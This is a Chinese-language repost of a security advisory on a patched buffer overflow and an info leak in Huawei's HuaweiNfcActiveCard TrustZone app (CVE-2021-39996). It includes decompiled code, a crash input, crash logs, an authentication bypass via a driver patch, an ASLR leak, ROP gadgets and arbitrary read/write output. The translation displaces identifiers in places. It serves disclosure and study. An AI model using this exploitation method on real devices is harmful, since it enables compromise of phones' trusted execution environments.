二进制漏洞分析-29.Huawei TrustZone HuaweiNfcActiveCard 漏洞
2023-12-27 07:56:29 Author: 安全狗的自我修养(查看原文) 阅读量:9 收藏

  •  

  • -5.(SMC MNTN OOB 访)

  • -10.TrustZone TEE_SERVICE_VOICE_REC

  • -19.TrustZone TCIS

  • -21.TrustZone TALoader

  • -22.TrustZone TA_uDFingerPrint

  • -23.TrustZone TA_SensorInfo

  • -24.TrustZone TA_HuaweiWallet

  • -25.TrustZone TA_SignTool OOB Read

  • -26.TrustZone IfaaKey_TA

  • 二进制漏洞分析-27.华为TrustZone Ifaa漏洞

Huawei TrustZone HuaweiNfcActiveCard 漏洞

此通报包含有关以下漏洞的信息:

  • CVE-2021-39996 漏洞CVE-2021-39996 SplitAidStrtok 中的缓冲区溢出

HuaweiNfcActiveCard TA符合GlobalPlatform TEE内部核心接口。因此,它从位于正常环境中的客户端应用程序接收命令。这些命令由函数处理。TA_InvokeCommandEntryPoint

该 TA 实现了 13 个命令,但仅调用 (0x20002) 就足以触发漏洞。CmdTeeHardwareSyncAidList

信息泄露ParseAidList

函数中存在信息泄漏,可用于泄漏堆栈上分配的缓冲区的地址。结合第二个漏洞,可以用来获取TA基址。此信息泄漏来自对 in 的调用:ParseAidListSLogParseAidList

int ParseAidList() {
char *list_elem;
int list_elem_len;
char stack_buf[0x1400];
// [...]
if (g_aidCount > 0) {
for (list_elem = &g_aidList; ; list_elem += 0x100) {
SLog("%s: ParseAidList Enter, g_aidList[%d]=%s\n", "[Trace]", index, list_elem);
list_elem_len = strlen(list_elem);
tmpCnt = SplitAidStrtok(stack_buf, list_elem, list_elem_len, ",");
SLog("%s: ParseAidList Enter, tmpCnt=%d\n", "[Trace]", tmpCnt);
if (tmpCnt < 2) {
SLog("%s: ParseAidList : at least two property:type and aid\n", "[Error]");
} else if (!strncmp(&stack_buf[0x100], "501", 3)) {
// [...]
}
// [...] many more else ifs [...]
else {
SLog("%s: ParseAidList unknown card aidList=%s, type=%d\n", "[Error]", &stack_buf[0x100], stack_buf);
}
// [...]
}
}
// [...]
}

每个 in 都经过解析,用于拆分分隔符上的字符串并将生成的子字符串放入堆栈缓冲区中。该函数需要 2 个子字符串和 .如果堆栈缓冲区中的 , at offset 0x100与任何预期值(等)不匹配,则它将进入默认情况,该情况使用 和 as 参数进行调用。但是由于 的格式说明符是 而不是 ,它将打印字符串地址而不是字符串本身:list_elemg_aidListSplitAidStrtok","stack_buftypeaidaid"501"SLogtypeaidaid%d%s

[TA_HuaweiNfcActiveCard-1] [Error]: ParseAidList unknown card aidList=A, type=110212648

缓冲区溢出SplitAidStrtok

该函数中存在一个漏洞,允许超出其第一个参数的边界写入。根据调用此函数的位置,它可用于在 BSS 中写入用户控制的数据,或者更有趣的是,在堆栈上写入。此缓冲区溢出是由于缺少对函数的检查。SplitAidStrtokSplitAidStrtok

int SplitAidStrtok(char *out_list, char *aidList, int aidLen, const char *separator) {
// [...]
const char *list_elem;
size_t list_elem_len;
int next_elem_ptr;
int count;
int ptr;
// [...]
// sanity checks of the arguments
list_elem = strtok_s(aidList, separator, &ptr);
if (list_elem) {
list_elem_len = strlen(list_elem);
if (strncpy_s(out_list, 0x100, list_elem, list_elem_len))
return 0xFFFF0006;
next_elem_ptr = out_list + 0x100;
count = 1;
while (1) {
list_elem = strtok_s(0, separator, &ptr);
if (!list_elem)
break;
list_elem_len = strlen(list_elem);
++count;
if (strncpy_s(next_elem_ptr, 0x100, list_elem, list_elem_len))
return 0xFFFF0006;
next_elem_ptr += 0x100;
}
return count;
}
// [...]
}

该函数在循环中调用作为参数给出的字符串,以检索以分隔的子字符串。对于每个子字符串,它调用以每次递增 0x100 的偏移量将其复制到其中。SplitAidStrtokstrtok_saidListseparatorstrncpy_sout_list

例如,if is ,将被复制到 +0x0、+0x100 和 +0x200。但正如你所看到的,可以复制的子字符串数量没有限制。这意味着给定足够长的字符串,我们可以溢出缓冲区。aidList"A,B,C""A"out_list"B"out_list"C"out_listaidListout_list

SplitAidStrtok在 2 个地方调用:

int GetAidList(const char *aidList, int aidLen) {
// [...]
g_aidCount = SplitAidStrtok(&g_aidList, aidList, aidLen, "|");
// [...]
}

在 中,它可用于溢出 BSS 中分配的大小为 0x1400 的缓冲区(该参数完全由用户控制)。GetAidListg_aidListaidList

int ParseAidList() {
char stack_buf[0x1400];
// [...]
list_elem = &g_aidList;
for (index = 0; index < g_aidCount; ++index) {
list_elem_len = strlen(list_elem);
tmpCnt = SplitAidStrtok(stack_buf, list_elem, list_elem_len, ",");
// [...]
list_elem += 0x100;
}
}

在 中,它可用于溢出堆栈上分配的大小为 0x1400 的缓冲区(该参数由用户控制,但限制为 255 字节)。ParseAidListstack_buflist_elem

unsigned int CmdTeeHardwareSyncAidList(void *session, unsigned int paramTypes, int *params) {
// [...]
// checking the parameters types
// [...]
buffer = params[0].memref.buffer;
length = params[0].memref.length;
WriteAidListToFile(buffer, length);
GetAidList(buffer, length);
ParseAidList();
}

该命令需要单个参数:包含单个字符串的输入缓冲区。它将使用此字符串调用函数。 将拆分它并将子字符串存储到全局缓冲区中。然后调用将每个子字符串拆分为 on ,将结果放入堆栈缓冲区并对其进行处理。CmdTeeHardwareSyncAidListGetAidListGetAidList"|"g_aidListCmdTeeHardwareSyncAidListParseAidListg_aidList","

触发崩溃的输入字符串示例如下:A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,AAAAAAAAAAAAAAAAAAAAAAAA

[HM] ESR_EL1: 82000006, ELR_EL1: 41414140, FAR is not valid
[HM] TA_HuaweiNfcAct vm fault prefetch abort: 41414140
[HM] fault: 82000006 tcb cref 2200000028
[HM] Registers dump:
[HM] ----------
[HM] 32 bits userspace stack dump:
[HM] ----------
[HM] <ParseAidList>+0x384/0x41c
[HM] [ERROR][2171]vmem_as_ondemand_prepare failed
[HM] [ERROR][2496]process 2200000028 (tid: 40) data abort:
[HM] [ERROR][2498]Bad memory access on address: 0x41414140, fault_code: 0x82000006
[HM]
[HM] Dump task states for tcb
[HM] ----------
[HM] name=[TA_HuaweiNfcAct] tid=40 is-idle=0 is-curr=0
[HM] state=BLOCKED@MEMFAULT sched.pol=0 prio=46 queued=1
[HM] aff[0]=ff
[HM] flags=1000 smc-switch=0 ca=8625 prefer-ca=8625
[HM] Registers dump:
[HM] ----------
[HM] 32 bits userspace stack dump:
[HM] ----------
[HM] <ParseAidList>+0x384/0x41c
[HM] Dump task states END
[HM]
[HM] [TRACE][1212]pid=48 exit_status=130

虽然 trustlet 中有堆栈 cookie,但令人惊讶的是,函数中没有。如上所述,可以覆盖堆栈上的返回地址,我们现在将看到如何利用它。ParseAidList

开发

我们的设备设置

我们开发漏洞利用的设备是运行固件更新的P40 Pro。trustlet 二进制 MD5 校验和如下:ELS-LGRP4-OVS_11.0.0.196

HWELS:/ ## md5sum /vendor/bin/5fce3ea5-fa71-4152-a30f-f46be8c924bf.sec
318662fa357d2701941706d775e1115f /vendor/bin/5fce3ea5-fa71-4152-a30f-f46be8c924bf.sec

华为TEE OS iTrustee实现了白名单机制,只允许特定的客户端应用(原生二进制文件或APK)与可信应用通信。

在我们的例子中,HuaweiNfcActiveCard TA 只能被 2 个原生二进制文件和一个 APK 调用:

  • /vendor/bin/nfcgetcplc(uid 0);

  • /vendor/bin/hw/[email protected](uid 0 或 1068);

  • com.android.nfc(证书以 开头)。c2851d1c

身份验证机制分为 3 个部分:
- 守护进程,实现 TEE 客户端 API,检查哪个原生二进制文件/APK 正在与它通信,并将该信息发送到内核驱动程序;
- 内核驱动程序确保它正在与 通信,并将它收到的信息转发给 TEE OS;
- TEE OS 验证客户端应用是否在 TA 的白名单中。
teecdteecd

由于我们不想费心在这些二进制文件之一中注入代码,因此我们选择通过修补内核驱动程序来规避身份验证,以添加模拟任何原生二进制文件/APK 的功能。

泄漏 ASLR 幻灯片

要获取 trustlet 的基址,第一步是泄露 in 的地址。为此,我们通过发送包含未知(在漏洞利用中)的输入字符串来触发上一节中介绍的信息泄漏。stack_bufParseAidListaid"A,A"

第二步是在 trustlet 部分泄露地址。由于第二个漏洞,我们能够溢出缓冲区周围的堆栈布局如下:.textstack_buf

0x1A40 ┌────────────────┐
│ LR ──┼──► .text + 0x1364
0x1A3C ├────────────────┤
│ R11 │
0x1A38 ├────────────────┤
│ R7 │
0x1A34 ├────────────────┤
│ R6 ──┼──► saved length
0x1A30 ├────────────────┤
│ R5 ──┼──► saved buffer
0x1A2C ├────────────────┤
│ R4 │
0x1A28 ├────────────────┤
│ │
│ │
│ │
│ stack_buf │
│ │
│ │
│ │
0x0628 └────────────────┘

后面的第二个 dword 是在 开头推送的 R5 寄存器的值。此值将在执行返回到 之前的 right 末尾弹出。在 中,R5 寄存器将用作调用 的参数,带有格式说明符,允许我们泄漏此地址的字节(最多第一个空字节)。由于我们对泄露代码地址感兴趣,因此我们可以选择用输入时保存的 LR 地址覆盖保存的 R5。stack_bufParseAidListParseAidListCmdTeeHardwareSyncAidListCmdTeeHardwareSyncAidListSLog%sParseAidList

任意读/写

通过覆盖保存的 LR 而不是保存的 R5,我们可以执行不同的 ROP 链,允许我们执行任意读取和写入。在我们的 ROP 链中,我们需要注意不要在堆栈上溢出太多值,因为我们希望保留先前堆栈帧的已保存寄存器,以便以后可以将它们弹出。为此,我们选择使用以下小工具将 pivot 堆栈到从正常世界映射到的输入缓冲区中:

pop {r11,pc}
---
sub sp, r11, #4
pop {r11,pc}

我们根据经验并利用过去漏洞利用的知识获得了输入缓冲区地址(0x70003000)。

任意写入的 ROP 链是围绕以下小工具构建的:

str r3, [r4,#4]
sub sp, r11, #0xc
pop {r4,r5,r11,pc}

任意读取的 ROP 链更复杂,因为我们找不到任何从 trustlet 内的寄存器执行加载的小工具。相反,我们决定将 to 的调用与对 的调用链接起来。这实际上等同于调用 。WriteAidListToFile(src_addr, 4)ReadAidListFromFile(dst_addr, &{4})memcpy(dst_addr, src_addr, 4)

因为第一个参数是输入缓冲区而不是输入输出缓冲区,所以它不会在返回时被 TEEOS 复制回正常世界,因此我们不能使用它来检索我们的值。相反,我们选择做的是将值写入堆栈,将其弹出到带有小工具的寄存器中,然后将其移动到 R0 中。这样,它将成为命令的返回码。

在漏洞利用中,我们通过写入该部分来演示我们的 write 原语,并通过转储 trustlet 内存来演示我们的 read 原语:.data

adb wait-for-device shell su root sh -c 0 "/data/local/tmp/ta_huaweinfcactivecard"
stack_leak_addr = 69ce628
code_leak_addr = 3ee0608
ta_base_addr = 3ede000
got_addr = 69c6000
bss_start = 12345678
bss_start = deadbeef
Trustlet memory dump:
0x03ede000: f0 4f 2d e9 54 c1 9f e5 20 b0 8d e2 84 d0 4d e2 .O-.T... .....M.
0x03ede010: 00 30 9c e5 00 00 51 e3 98 00 0b e5 28 30 0b e5 .0....Q.....(0..
0x03ede020: 49 00 00 0a 12 00 52 e3 3d 00 00 ca 30 31 9f e5 I.....R.=...01..
0x03ede030: c2 9f a0 e1 92 03 c3 e0 43 92 79 e0 21 00 00 4a ........C.y.!..J

获取代码执行

虽然在漏洞中没有演示,但也可以使用共享库(、、等)中的小工具,因为它们也映射在 trustlet 的地址空间中。可以通过阅读 GGOT 的内容找到它们的基址。libc_shared_a32.solibtee_shared_a32.solibvendor_shared_a32.so

例如,这可用于进行任意系统调用,并可能进一步提升权限。

受影响的设备

我们已验证该漏洞是否影响了以下设备:

  • 麒麟990:P40 专业版 (ELS)

请注意,其他型号可能已受到影响。

补丁

名字严厉CVE漏洞补丁
缓冲区溢出SplitAidStrtok危急CVE-2021-39996 漏洞CVE-2021-399962021 年 12 月

时间线

  • 2021年10月06日 - 向华为PSIRT发送漏洞报告。

  • 2021年10月25日 - 华为PSIRT确认该漏洞报告。

  • 2021年12月01日 - 华为PSIRT表示,这些问题已在2021年12月的更新中修复。

  • 从 2022 年 11 月 30 日至 2023 年 7 月 19 日 - 我们定期交换有关公告发布的信息。

  • ()

  • windows

  • windows()

  • USB()

  • ()

  • ios

  • windbg

  • ()


文章来源: http://mp.weixin.qq.com/s?__biz=MzkwOTE5MDY5NA==&mid=2247490887&idx=1&sn=0078594a1236b28769dc8711660bb97b&chksm=c0f53f3fbc736af78c6856fab09c0be5cea87d95194ad7384c3acc332da59b9e700656eced8b&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh